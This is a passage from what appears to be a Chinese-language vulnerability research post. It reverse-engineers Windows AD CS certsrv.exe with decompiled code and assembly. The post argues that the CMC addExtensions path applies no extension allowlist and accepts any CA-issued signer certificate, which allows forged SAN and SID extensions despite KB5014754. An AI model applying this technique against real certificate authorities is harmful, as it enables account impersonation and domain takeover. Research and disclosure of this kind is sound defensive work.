sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">是一条不同的、更不谨慎的代码路径。代码如下。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">逆向工程，第一部分：certsrv.exe 的允许列表缺口</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下所有内容均来自直接从运行中的 CA 上提取的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certsrv.exe</span></code><span leaf="">：</span><strong><span leaf="">Server 2019，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certsrv.exe 10.0.17763.8385</span></code><span leaf="">，镜像基址 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x140000000</span></code></strong><span leaf="">（从 PE 头确认）。分析工具为 Ghidra。本节中的每个地址都来自这一个镜像。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certsrv.exe</span></code><span leaf="">通过一个分发器处理所有请求扩展——</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_14002b090</span></code><span leaf="">。它做的第一件事就是对调用方提供的标志位进行掩码并分支：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// FUN_14002b090 — 请求扩展分发器</span><br/></span><span leaf="">uVar15 = param_2 &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xf0000</span></span><span leaf="">;          </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 只保留标志的第 16..19 位</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (uVar15 == </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x50000</span></span><span leaf="">) {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 允许列表 A — CA 续订扩展集</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// AIA (1.3.6.1.5.5.7.1.1), CDP (2.5.29.31), AKI (2.5.29.35),</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// SKI (2.5.29.14), CAVersion (1.3.6.1.4.1.311.21.1)</span><br/></span><span leaf="">} </span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""> {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (uVar15 != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x90000</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LAB_14002b198;   </span><span style="color: rgb(106, 115, 125);"><span leaf="">// &lt;-- 漏洞所在</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// 允许列表 B — 仅 SKI (2.5.29.14)</span><br/></span><span leaf="">}</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 扩展在允许列表上，按列表处理</span><br/></span><span leaf="">LAB_14002b198:</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 扩展不在任何允许列表上 — 但仍然继续往下走，</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// 下游最终还是会到达 SetCertificateExtension</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你更喜欢看原始指令，同样的事情：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">14002b0dd: AND  R15D, 0xf0000      ; mask = flag &amp; 0xf0000</span><br/><span leaf="">14002b0e4: CMP  R15D, 0x50000      ; 允许列表 A？</span><br/><span leaf="">14002b0eb: JNZ  0x14002b13f</span><br/><span leaf="">14002b13f: CMP  R15D, 0x90000      ; 允许列表 B？</span><br/><span leaf="">14002b146: JNZ  0x14002b198        ; 都不是 -&gt; 跳过两个列表</span><br/><span leaf="">...</span><br/><span leaf="">14002b198: [扩展处理]</span><br/><span leaf="">14002b287: CALL 0x140045ef4        ; ICertServerPolicy::SetCertificateExtension</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">所以分发器只</span><em><span leaf="">认识</span></em><span leaf="">两个允许列表世界：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x50000</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x90000</span></code><span leaf="">。这些位上的任何其他值，它根本不会查询任何列表。它只是将扩展一路传递给 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SetCertificateExtension</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在找到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">id-cmc-addExtensions</span></code><span leaf="">的调用方。CMC 控制处理器——</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_140030a30</span></code><span leaf="">，它用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">strcmp</span></code><span leaf="">将传入的控制 OID 与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;1.3.6.1.5.5.7.7.8&#34;</span></code><span leaf="">进行比较——处理 addExtensions 属性并以一个硬编码标志调用分发器：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// FUN_140030a30 — id-cmc-addExtensions 处理器，OID 匹配时：</span><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">FUN_14002b090</span></span><span leaf="">(param_1, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x80002</span></span><span leaf="">, extensions, count);   </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 调用在 0x140030b43</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">做分发器做的那道算术：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">0x80002 &amp; 0xf0000 = 0x80000</span><br/><span leaf="">0x80000 != 0x50000   -&gt;  不是允许列表 A</span><br/><span leaf="">0x80000 != 0x90000   -&gt;  不是允许列表 B</span><br/><span leaf="">-&gt;  永远不会检查任何列表</span><br/><span leaf="">-&gt;  我放入 id-cmc-addExtensions 的每个扩展都直达 SetCertificateExtension</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x80000</span></code><span leaf="">是分发器从未被教会处理的值。CMC addExtensions 路径没有允许列表。我想要的任何扩展 OID——SAN（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2.5.29.17</span></code><span leaf="">）、EKU、基本约束，以及关键的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">szOID_NTDS_CA_SECURITY_EXT</span></code><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.3.6.1.4.1.311.25.2</span></code><span leaf="">）——都会进入签发的证书。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">谁被允许签名</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你可能以为提交 CMC 控制需要某种特权注册机构证书。并不需要。CMC 消息在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_140030a30</span></code><span leaf="">运行之前，就在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_14003151c</span></code><span leaf="">中被解码并验证其签名者（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CryptMsgOpenToDecode</span></code><span leaf="">→ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CryptMsgGetAndVerifySigner</span></code><span leaf="">）：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(111, 66, 193);"><span leaf="">CryptMsgGetAndVerifySigner</span></span><span leaf="">(hMsg, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">/* CMSG_SIGNER_ONLY_FLAG */</span></span><span leaf="">, &amp;pSigner, </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CMSG_SIGNER_ONLY_FLAG</span></code><span leaf="">验证 CMS 由匹配签名者证书的密钥签名。它</span><strong><span leaf="">不</span></strong><span leaf="">验证签名者的证书链或其用途。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certsrv.exe</span></code><span leaf="">确实要求签名者必须是 CA 自身签发的证书——自签名证书会被以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CERT_E_UNTRUSTEDROOT</span></code><span leaf="">弹回——但这个门槛低到地面上。任何低权限用户都可以从任何他们能碰到的模板自动注册一张一次性证书，并用它来签名 CMC。我的 PoC 正是用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">--auto-signer</span></code><span leaf="">做的这件事：它遍历模板直到有一个签发，然后用得到的任何证书来签名。在我的 CA 上它落在了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EFS</span></code><span leaf="">上。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">漏洞一，一句话说清楚：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certsrv.exe</span></code><span leaf="">中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">id-cmc-addExtensions</span></code><span leaf="">路径不应用任何扩展允许列表，而签名者只需要持有任何 CA 签发的证书。</span></strong><span leaf="">仅此一项就让我可以伪造任意 SAN。在未打补丁的世界里，光这一条就是终局。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">但我们不是未打补丁。我们有 KB5014754。SID 扩展本应拯救我们。那么它发生了什么？</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">逆向工程，第二部分：SID 标记在哪里，以及不在哪里</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">KB5014754 中与此相关的部分是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">szOID_NTDS_CA_SECURITY_EXT</span></code><span leaf="">标记：在签发时，CA 应当将经过认证的调用方的 SID 写入该扩展，如果请求试图夹带自己的副本，则用真实的 SID 覆盖它。那次覆盖就是整个防御。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先值得说的是</span><em><span leaf="">哪个</span></em><span leaf="">二进制文件执行标记，因为我一开始搞错了，是反汇编纠正了我。最明显的嫌疑对象是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certca.dll</span></code><span leaf="">，即 CA 辅助库。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不在这里。OID 字符串 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.3.6.1.4.1.311.25.2</span></code><span leaf="">在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certca.dll</span></code><span leaf="">中任何地方都不出现。唯一存在的邻居是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.3.6.1.4.1.311.25.1</span></code><span leaf="">，即复制 OID。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certca.dll</span></code><em><span leaf="">确实</span></em><span leaf="">携带的是 SAN 机制：SAN OID </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2.5.29.17</span></code><span leaf="">和 UPN otherName OID </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.3.6.1.4.1.311.20.2.3</span></code><span leaf="">，连接到一个 SAN 读取器（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_180010a78</span></code><span leaf="">，它 </span><code style="font-family: 